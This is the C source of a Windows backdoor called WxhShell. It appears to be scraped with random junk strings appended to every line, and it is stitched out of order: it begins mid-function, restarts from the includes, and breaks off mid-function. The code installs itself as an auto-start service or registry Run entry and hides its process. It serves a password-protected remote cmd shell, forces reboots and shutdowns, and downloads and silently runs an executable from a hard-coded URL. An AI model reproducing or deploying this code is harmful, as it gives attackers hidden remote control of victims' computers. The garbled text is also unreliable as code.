    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?znSx}t  
    if(Boot(SHUTDOWN)) 1;&;5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]hE="z=n  
    else { 8)xt(~qF  
    closesocket(wsh); jm3G?Vnq  
    ExitThread(0); t`|,6qEG  
    } Cca0](R*&  
    break; V 0{tap}  
    } Zb''mf\  
  // 获取shell v6uxxsI>Hm  
  case 's': { #S5`Pd!I  
    CmdShell(wsh); N[U9d}Zv  
    closesocket(wsh); K:r\{#9  
    ExitThread(0); N.j "S'(i  
    break; QH@>icAb  
  } x<B'.3y  
  // 退出 )`HA::  
  case 'x': { hu5!ev2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0ys~2Y!eH  
    CloseIt(wsh); V#83!  
    break; Ya Y8 `M{  
    } =P^wh  
  // 离开 <I=$ry6 8  
  case 'q': { \ijMw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z1,gtl ?  
    closesocket(wsh); P $ >`  
    WSACleanup(); 68t}w^=  
    exit(1); rwqv V ^  
    break; ;D2E_!N dt  
        } ,&]MOe4@>  
  } {0yu   
  } dpzw.Z  
$v27]"]  
  // 提示信息 ..KwTf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '$m7ft}  
} 7_\Mwy{P  
  } \7Cg,Xn  
O\beKBT;  
  return; v}uJtBG(  
} (36K3=Qa  
Yx)o:#2  
// shell模块句柄 (#Mp 5C'X  
int CmdShell(SOCKET sock) ($!KzxF3  
{ <94G  
STARTUPINFO si; pY}/j;.[  
ZeroMemory(&si,sizeof(si)); FY#!N L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H;KDZO9W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xJ(:m<z  
PROCESS_INFORMATION ProcessInfo; z,Lzgh  
char cmdline[]="cmd"; d'HOpJE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }ot"Sx\.  
  return 0; r%=[},JQ  
} lZ+!H=`  
KSqTY>%fnv  
// 自身启动模式 WjMRH+  
int StartFromService(void) <8o(CA\  
{ cCdX0@hY  
typedef struct ;j} yB  
{ /Jlv"R 1,  
  DWORD ExitStatus; pR$6,Vi  
  DWORD PebBaseAddress; >|udWd^$3  
  DWORD AffinityMask; 'Z8aPHD  
  DWORD BasePriority; r|R7- HI  
  ULONG UniqueProcessId; /g.]RY+u|x  
  ULONG InheritedFromUniqueProcessId; q&si%  
}   PROCESS_BASIC_INFORMATION; dbF M,"^  
_N#&psQzw  
PROCNTQSIP NtQueryInformationProcess; vA&Vu"}S  
l I-p_K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^gR+S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mN}7H:,  
Wd 2sh  
  HANDLE             hProcess; Fvl`2W94;  
  PROCESS_BASIC_INFORMATION pbi; Dz&+PES_k  
< K %j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 80hme+e  
  if(NULL == hInst ) return 0; !~ rt:Z  
isK;mU?<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =_d%=m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S%6U~@hig  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !{%G0(Dv  
b`~wG e  
  if (!NtQueryInformationProcess) return 0; ?p^2Z6J'$  
M?@p N<|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y 62r  
  if(!hProcess) return 0; b:MG@Hxc  
 Y7Gs7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bXdY\&fE  
GESXc $E8  
  CloseHandle(hProcess); $kz!zjC'  
hnxc`VX>g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w]!0<  
if(hProcess==NULL) return 0; L* |1/  
> <Z'D  
HMODULE hMod; ?pwE0N^  
char procName[255]; ^ddO&!U  
unsigned long cbNeeded; ?U9/fl  
;u!?QSvb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %+tV/7|F  
R]L2(' B  
  CloseHandle(hProcess); optBA3@e!  
5P ke8K  
if(strstr(procName,"services")) return 1; // 以服务启动 Zf:]Gq1  
`wO}Hz  
  return 0; // 注册表启动 OyVm(%Z   
} Ps>&"k$T  
>&K!VQ{g  
// 主模块 |C-y}iQ:6~  
int StartWxhshell(LPSTR lpCmdLine) =ApY9`  
{ ecFi (eMD  
  SOCKET wsl; '2v f|CX  
BOOL val=TRUE; VifmZ;S@Y  
  int port=0; 2 P}bG>M  
  struct sockaddr_in door; v\0^mp  
;z>p8N  
  if(wscfg.ws_autoins) Install(); uqZ3Hyb  
A3yi?y{[*  
port=atoi(lpCmdLine); eyB_l.U7  
|]ucHV  
if(port<=0) port=wscfg.ws_port; z7=fDe -  
kk_zVrQ<  
  WSADATA data; 5gK~('9'?1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'JZ_  
(%DRt4u <H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s[V `e2O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wn84?$BGd  
  door.sin_family = AF_INET; JlIS0hnv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'NjSu64W  
  door.sin_port = htons(port); %b<%w    
e_.~n<=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;=p;v .l  
closesocket(wsl); yN:>!SQ  
return 1; JQT4N[rEE  
} q/'MS[C  
RV92qn B  
  if(listen(wsl,2) == INVALID_SOCKET) { X_?%A54z?  
closesocket(wsl); -\,VGudM}  
return 1; e "_"vbk  
} (Y;'[.  
  Wxhshell(wsl); ]h8/M7k  
  WSACleanup(); hht+bpHl  
"1%*'B^}bw  
return 0; Y6;@/[_  
{6tx,;r(F  
} ?h&l tD  
8Mb$+^zU  
// 以NT服务方式启动 yu_gNro L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {~1M  
{ Z@nmjji  
DWORD   status = 0; 05g?jV  
  DWORD   specificError = 0xfffffff; B>aEH b  
#tP )-ww  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !Iko0#4i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %w@ig~vD'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c8\g"T  
  serviceStatus.dwWin32ExitCode     = 0; _!;\R7]  
  serviceStatus.dwServiceSpecificExitCode = 0; gQCC>8  
  serviceStatus.dwCheckPoint       = 0; cuNq9y;[  
  serviceStatus.dwWaitHint       = 0; Oo$%Yh51~  
=ZrjK=K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3]7ipwF2q  
  if (hServiceStatusHandle==0) return; : n`0)g[(  
I')x]edU  
status = GetLastError(); [$H( CH`  
  if (status!=NO_ERROR) *fOIq88  
{ A1 b6Zt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5I_hh?N4Z  
    serviceStatus.dwCheckPoint       = 0; `F@f?*s:  
    serviceStatus.dwWaitHint       = 0; =mAGD*NKu  
    serviceStatus.dwWin32ExitCode     = status; 0= gF6U  
    serviceStatus.dwServiceSpecificExitCode = specificError; ur`}v|ZY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #Z#_!o  
    return; 1=- X<M75  
  } +-",2 d+g  
l.yJA>\24I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J$<:/^t  
  serviceStatus.dwCheckPoint       = 0; %PSz o8.l  
  serviceStatus.dwWaitHint       = 0; 5auL<Pq   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =+k&&vOAn  
} .Wd.) ^?  
VQ/ <09e  
// 处理NT服务事件,比如:启动、停止 njx\$,ruN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _dRn0<#1(k  
{ t]YLt ,  
switch(fdwControl) "}y3@ M^  
{ [^"(%{H  
case SERVICE_CONTROL_STOP: |M{,}.*CU  
  serviceStatus.dwWin32ExitCode = 0; lhvZ*[[<)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $SD@D6`lL  
  serviceStatus.dwCheckPoint   = 0; DIcyXZH<  
  serviceStatus.dwWaitHint     = 0; {)dEO0 p  
  { bNPjefBF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }E\+e!'!2  
  } 4s+J-l  
  return; 9FR1Bruf  
case SERVICE_CONTROL_PAUSE: 2>_LX!kyP]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HT;QepY3  
  break; MRY)m@*+6  
case SERVICE_CONTROL_CONTINUE: r^ Rcjyc1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1k70>RQ&69  
  break; ,`B>}  
case SERVICE_CONTROL_INTERROGATE: uq1(yyWp(  
  break; d)J] Y=j  
}; Ga/\kO)x_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `OpC-Z&  
} YH'.Yj2  
o dQ&0d  
// 标准应用程序主函数 ~.y4 ,-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Fq\`1Ee{  
{ 0 6v5/Xf  
d=u%"36y  
// 获取操作系统版本 U\!LZ?gC  
OsIsNt=GetOsVer(); DD{@lM\vc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d'@H@  
z_iyuLRdb  
  // 从命令行安装 rgY?X$1q_  
  if(strpbrk(lpCmdLine,"iI")) Install(); HFCFEamBMP  
1*`JcUn,>  
  // 下载执行文件 'H-YFB$l  
if(wscfg.ws_downexe) { u$`x]K=Zsm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VDI S`E  
  WinExec(wscfg.ws_filenam,SW_HIDE); U3iyuE  
} ^xu)~:} i  
~$&r(9P  
if(!OsIsNt) { B qiq  
// 如果时win9x,隐藏进程并且设置为注册表启动 Qmh(+-Mp(  
HideProc(); cLk+( dn  
StartWxhshell(lpCmdLine); {*P7)  
} \\pyu]z  
else E$zq8-p|  
  if(StartFromService()) ykl=KR  
  // 以服务方式启动 Ku\#Wj|YrP  
  StartServiceCtrlDispatcher(DispatchTable); Tqh Rs  
else t;PnjCD<`  
  // 普通方式启动 4]Nr$FY  
  StartWxhshell(lpCmdLine); _A0avMD}  
qk{UO <  
return 0; 1+ARV&bc  
} K`83C`w.  
@z?.P;f9#  
7^e}|l  
^)]*10  
=========================================== &WV 9%fI  
SPm5tU  
jWm BUHCb  
?4||L8j2^  
iSW73P;)  
Uwil*Jh  
" q2pao?aa  
9&FV =}MO  
#include <stdio.h> t# {>y1[29  
#include <string.h> a;6\T*iJ!  
#include <windows.h> H%gD[!^  
#include <winsock2.h> H ?:#Ui(p  
#include <winsvc.h> ]xeyXw84k  
#include <urlmon.h> u1Yp5jp^K  
W{/z-&  
#pragma comment (lib, "Ws2_32.lib") j %0_!*#3  
#pragma comment (lib, "urlmon.lib") eBKIdR%k  
51'SA B09  
#define MAX_USER   100 // 最大客户端连接数  -KiS6$-  
#define BUF_SOCK   200 // sock buffer [|Pe'?zkf  
#define KEY_BUFF   255 // 输入 buffer ]>i0;R ME  
V1U[p3J-S  
#define REBOOT     0   // 重启 vw6FvE`lC  
#define SHUTDOWN   1   // 关机 BC[d={_-  
nx]b\A  
#define DEF_PORT   5000 // 监听端口 T+"y8#:  
i(kK!7W35  
#define REG_LEN     16   // 注册表键长度 nU *fne?  
#define SVC_LEN     80   // NT服务名长度 n?tAa|_  
K9Fnb6J$u  
// 从dll定义API Kn\(Xd.>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QYGxr+D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3]'z8i({7Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Jjq%cA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <\mc|p"  
.AW*7Pp`f  
// wxhshell配置信息 .e+UgC wi  
struct WSCFG { 3%a37/|~y  
  int ws_port;         // 监听端口 ( %!R  
  char ws_passstr[REG_LEN]; // 口令 P9^h>sV  
  int ws_autoins;       // 安装标记, 1=yes 0=no s~w+bwr  
  char ws_regname[REG_LEN]; // 注册表键名 3NWAy Cq-  
  char ws_svcname[REG_LEN]; // 服务名 "c*|vE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wQ^a2$Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \LXC269  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  8[OiG9b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  (RS:_]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SLo/7$rct  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1ouTZ'c?  
#"JU39e  
}; 'a*IZb-M  
A'EA!  
// default Wxhshell configuration c.WT5|:qw  
struct WSCFG wscfg={DEF_PORT, o7seGw<$X  
    "xuhuanlingzhe", b4ivWb|`  
    1, w(-n1oSo  
    "Wxhshell", x6tY _lzJ  
    "Wxhshell", XQ+hTtP  
            "WxhShell Service", e>)5j1  
    "Wrsky Windows CmdShell Service", Us5 JnP5  
    "Please Input Your Password: ", 7 '/&mX>  
  1, P|U>(9;P,  
  "http://www.wrsky.com/wxhshell.exe", < i|+p1t  
  "Wxhshell.exe" )Cl&"bX  
    }; vGw}e&YI  
](D [T  
// 消息定义模块 {IvCe0`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ) b8*>k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]Ox.6BKjDP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TW0^wSm  
char *msg_ws_ext="\n\rExit."; 8hg(6 XUG  
char *msg_ws_end="\n\rQuit."; *1n:  
char *msg_ws_boot="\n\rReboot..."; c[$oR,2b13  
char *msg_ws_poff="\n\rShutdown..."; QPEv@laM  
char *msg_ws_down="\n\rSave to "; H <yec"  
W| p?KJk)  
char *msg_ws_err="\n\rErr!"; m}(DJ?qP  
char *msg_ws_ok="\n\rOK!"; ijB,Q>TgO  
~Zm(p*\T  
char ExeFile[MAX_PATH]; 2LdV=ifq2S  
int nUser = 0; _p.{|7  
HANDLE handles[MAX_USER]; 6z*L9Vy($  
int OsIsNt; e1-=|!U7#  
Jd;1dYkH:  
SERVICE_STATUS       serviceStatus; D4wB &~U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Su7?-vY  
L"a#Uu8  
// 函数声明 P +SCX#{y  
int Install(void); Yy}aQF#M  
int Uninstall(void); ES>3Cf  
int DownloadFile(char *sURL, SOCKET wsh);  2~)]E#9  
int Boot(int flag); #C`!yU6(  
void HideProc(void); _xUXt)k  
int GetOsVer(void); i=4bY[y  
int Wxhshell(SOCKET wsl); &g`a [#  
void TalkWithClient(void *cs); S;g~xo  
int CmdShell(SOCKET sock); l?q^j;{Dw  
int StartFromService(void); b/EvcN8 }  
int StartWxhshell(LPSTR lpCmdLine); or<JjTJ\o_  
=bzTfki  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LtQy(F%8/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w <ID<  
d~8Q)"6 [  
// 数据结构和表定义 a srkuAS  
SERVICE_TABLE_ENTRY DispatchTable[] = *Pl[a1=o  
{ weOMYJO;8  
{wscfg.ws_svcname, NTServiceMain}, SYL$ ?kl  
{NULL, NULL} ;,1i,?  
}; ]~P?  
K^S#?T|[9  
// 自我安装 0[];c$r<  
int Install(void) ;H^!yj5H  
{ Wac8x%J  
  char svExeFile[MAX_PATH]; HUJ $e2[  
  HKEY key; &}FYz8w 2/  
  strcpy(svExeFile,ExeFile); }?JO[Q +  
t^'1Ebg  
// 如果是win9x系统,修改注册表设为自启动 r\] WDX!`  
if(!OsIsNt) { !>tXib]:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S92Dvw?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wKYfqNCH  
  RegCloseKey(key); /vhh2`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LP~$7a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rq*m x<HDX  
  RegCloseKey(key); ZFzOW  
  return 0; U:>O6"  
    } b?$3jOtW  
  } )Mok$  
} V= _8G3  
else { }fhVn;~}8  
EPI*~=Z.U  
// 如果是NT以上系统,安装为系统服务 & mWq'h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vV|egmw01  
if (schSCManager!=0) ,wV2ZEW}e  
{ 2{& " 3dq  
  SC_HANDLE schService = CreateService ~i \69q%  
  ( x83XJFPWL  
  schSCManager, )Q8Q#S  
  wscfg.ws_svcname, IE6/ E  
  wscfg.ws_svcdisp, ()?)Ybqss  
  SERVICE_ALL_ACCESS, `{/=i|6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [bp"U*!9P  
  SERVICE_AUTO_START,  84{<]y  
  SERVICE_ERROR_NORMAL, 2Zm*f2$xM  
  svExeFile, 8,R]R=  
  NULL, N_ >s2  
  NULL, 1/i|  
  NULL, ;V;4#  
  NULL, OLi;/(g  
  NULL 3EFk] X  
  ); 2PC4EjkC  
  if (schService!=0) "7 l}X{b  
  { #Kl;iY:n  
  CloseServiceHandle(schService); )#Id 2b~  
  CloseServiceHandle(schSCManager); zx!1jS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pM=vW{"I/  
  strcat(svExeFile,wscfg.ws_svcname); eQc!@*:8U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g R6:J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^;2L`U@5  
  RegCloseKey(key); ]}B&-Yp  
  return 0; 'Go'87+`  
    } B|Omz:c  
  } Ne[O9D 7  
  CloseServiceHandle(schSCManager); ^R\blJQ<^  
} #?/.LMn{  
} K'tz_:d|  
F ^\v`l,  
return 1; Ik,w3}*P*  
} 6!'yU=Z`  
nQ+{1 C  
// 自我卸载 R0|X;3  
int Uninstall(void) csV1ki/A  
{ |amEuKJ  
  HKEY key; YlA=? X  
Vs"Z9p$U  
if(!OsIsNt) { X6;aF ;"5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6y0C  
  RegDeleteValue(key,wscfg.ws_regname); eDm,8Se  
  RegCloseKey(key); 4$J/e?i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N>z8\y  
  RegDeleteValue(key,wscfg.ws_regname); q&M;rIo?  
  RegCloseKey(key); &#;,P :.'  
  return 0; 1Zecl);O{  
  } X4TUi8ht!]  
} _#+9)*A  
} rfZA21y{?  
else { {> }U>V  
M]2 c-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 25TEbp[dy  
if (schSCManager!=0) LY>JE6zTt  
{ !F8 !]"*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p-}:7CXP  
  if (schService!=0) N+tS:$V  
  { }a`LOBne  
  if(DeleteService(schService)!=0) { D9Z5g3s7R  
  CloseServiceHandle(schService); EAI[J&c  
  CloseServiceHandle(schSCManager); 8sg *qQ  
  return 0; iO@wqbg$6  
  } r {8  
  CloseServiceHandle(schService); ?R+$4;iy  
  } ( r O j,D  
  CloseServiceHandle(schSCManager); =Dz[|$dV  
} -7`J(f.rYC  
} 5Q88OxH  
jHzy1P{?  
return 1; oHYD6 qJX{  
} y6s$.93  
{\e}43^9N  
// 从指定url下载文件 7%'<}u  
int DownloadFile(char *sURL, SOCKET wsh) $X?V_K;9/  
{ .jKO 6f  
  HRESULT hr; c[I,Sveq  
char seps[]= "/"; /<C=9?Ok  
char *token; =VU2#O  
char *file; W1s|7  
char myURL[MAX_PATH]; g:EU\  
char myFILE[MAX_PATH]; 4D13K.h`O  
"f3>20}  
strcpy(myURL,sURL); \,N dg*qC  
  token=strtok(myURL,seps); :uEp7Y4  
  while(token!=NULL) ~IXfID!8  
  { _e'mG'P(  
    file=token; V6k9L*VP  
  token=strtok(NULL,seps); e=_hfOUC  
  } W@tLT[}CG  
q mB@kbt  
GetCurrentDirectory(MAX_PATH,myFILE); 7Tbkti;  
strcat(myFILE, "\\"); |2# Ro*  
strcat(myFILE, file); bo2Od  
  send(wsh,myFILE,strlen(myFILE),0); ~I<y^]2{  
send(wsh,"...",3,0); #q- _  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,&-[$,  
  if(hr==S_OK) - \QtE}|4  
return 0; @o ED tN  
else El%(je,|  
return 1; 2Kidbf  
*pMA V [^  
} dUZ&Ty^{  
H[r0jREK  
// 系统电源模块 ry0 =N^  
int Boot(int flag) v4$,Vt:7  
{ zvD5i,I  
  HANDLE hToken; #!/Nmd=Nj  
  TOKEN_PRIVILEGES tkp; )sHPIxHI  
S\A[Z&k 0  
  if(OsIsNt) { K="+2]{I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2. _cEY34  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zMKL: Um"  
    tkp.PrivilegeCount = 1; brWt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E`|qFG<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u W T[6R  
if(flag==REBOOT) { yH^*Fp8V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^= G+]$8  
  return 0; RHbwq]  
} vknFtpx  
else { \4k*Zk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #F@7>hd1  
  return 0; fsd>4t:" \  
} BP$#a #  
  } 6K}=K?3Z  
  else { ny={V*m  
if(flag==REBOOT) { _=5ZB_I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S<~nk-xr*h  
  return 0; @{uc  
} $ *A3p  
else { G.8b\E~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x(=x;X$[^  
  return 0; v=VmiBq[  
} Hea<!zPH  
} ?C35   
=L%3q<]p  
return 1; <h9\A&  
} 99K+7G\{  
mC`! \"w  
// win9x进程隐藏模块 ISew]R2  
void HideProc(void) LnS >3$t*  
{ fx:KH:q3  
/MH@>C _  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %<yM=1~>  
  if ( hKernel != NULL ) AW5g (  
  { 4sjr\9IDC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PBtU4)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8[;oUVb5  
    FreeLibrary(hKernel); &,]+>  
  } 79H+~1Az  
j*d~h$[k  
return; &Q>'U6"%  
} u V7Hsg9l  
9'g{<(R]  
// 获取操作系统版本 :n9~H+!  
int GetOsVer(void) r:4IKuTR  
{ A'iF'<%  
  OSVERSIONINFO winfo; J5_Y\@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); / LM  
  GetVersionEx(&winfo); !!%[JR)cS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -i5g 8t'  
  return 1; v qMk)htIz  
  else 8p{  
  return 0; k^c=y<I  
} NqE7[wH  
K/v-P <g  
// 客户端句柄模块 g4aX  
int Wxhshell(SOCKET wsl) %C0O?q  
{ UQ])QTrZFi  
  SOCKET wsh; e uHu}  
  struct sockaddr_in client; e.|RC  
  DWORD myID; %W',cu  
Ej09RO"pB  
  while(nUser<MAX_USER) N3p 7 0  
{ (Zg'pSs)  
  int nSize=sizeof(client); =GKYroNM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %%cSvPcz  
  if(wsh==INVALID_SOCKET) return 1; 'O2#1SWe  
p6Dv;@)Yn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0$Y 9>)O  
if(handles[nUser]==0) f\_!N "HW  
  closesocket(wsh); K6*UFO4}i  
else S{i@=:  
  nUser++; J&ECm+2  
  } emY5xZ@N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pUMB)(<k  
s8Ry}{  
  return 0; C=aj&  
} fMEv85@JL  
^Xy$is3  
// 关闭 socket qvU$9cTY  
void CloseIt(SOCKET wsh) R5&$h$[/  
{ ElR&scXi__  
closesocket(wsh);  vs])%l%t  
nUser--; KR+BuL+L  
ExitThread(0); |k .M+  
} ?V)C9@bp  
g;#KBxE  
// 客户端请求句柄 `Ivw`}L  
void TalkWithClient(void *cs) ^Ii  \vk  
{ ?WQd  
-8Jl4F ,  
  SOCKET wsh=(SOCKET)cs; CziaxJ  
  char pwd[SVC_LEN]; +.(}u ,:8  
  char cmd[KEY_BUFF]; opcR~tg@r  
char chr[1]; g3~~"`2  
int i,j; iPY vePQ  
Fwx~ ~"I  
  while (nUser < MAX_USER) { r]JC~{  
mj~N]cxB  
if(wscfg.ws_passstr) { ;;w6b:}-c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }y-;>i#m=g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }]g95xT  
  //ZeroMemory(pwd,KEY_BUFF); Ld}(*-1i  
      i=0; '6.>Wdd  
  while(i<SVC_LEN) { C*EhexK,}  
/,Dwu?Lcqp  
  // 设置超时 N[bR&# p  
  fd_set FdRead; Q3Z%a|3W  
  struct timeval TimeOut; 6}i&6@Snq?  
  FD_ZERO(&FdRead); I*:qGr+ WJ  
  FD_SET(wsh,&FdRead); _/jUs_W  
  TimeOut.tv_sec=8; ?zhI=1 ED%  
  TimeOut.tv_usec=0; wj#J>C2]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cbh#E)[ '  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @!":(@3[  
uhTKCR~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gY>;|),  
  pwd=chr[0]; 8!uL-_Bn  
  if(chr[0]==0xd || chr[0]==0xa) { ^x_ >r6  
  pwd=0; M2;%1^  
  break; >w2Q 1!  
  }  `CA G8D  
  i++; O>SuZ>g+7  
    } dXhCyr%"6  
C7b 5%a!  
  // 如果是非法用户,关闭 socket - - i&"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @Xq&t}*8  
} pcRF: ~TE  
h9<mThvgn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XN~#gm#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q,;".3VQ  
DOF?(:8Y  
while(1) { Avs7(-L+s  
FE8+E\ U?  
  ZeroMemory(cmd,KEY_BUFF); ~A[YnJYA#  
qPXANx<^  
      // 自动支持客户端 telnet标准   u Q:ut(  
  j=0; ub`z7gL  
  while(j<KEY_BUFF) { OH$ F >wO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k_*XJ<S!Y  
  cmd[j]=chr[0]; JHvFIo   
  if(chr[0]==0xa || chr[0]==0xd) { lFiq<3Nk  
  cmd[j]=0; UOR _M5  
  break; \#\`!L[1  
  } ,_.@l+BM.  
  j++; &5kZ{,-eM  
    } q3c*<n g#  
(MgL"8TS  
  // 下载文件 ]PR|d\O  
  if(strstr(cmd,"http://")) { r+p@X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lQh E]m>+  
  if(DownloadFile(cmd,wsh)) I;Al? &uw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xNC* ]8d  
  else /Y;+PAy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5"1!p3`\D{  
  } McT\ R{/  
  else { *4|9&PNLE  
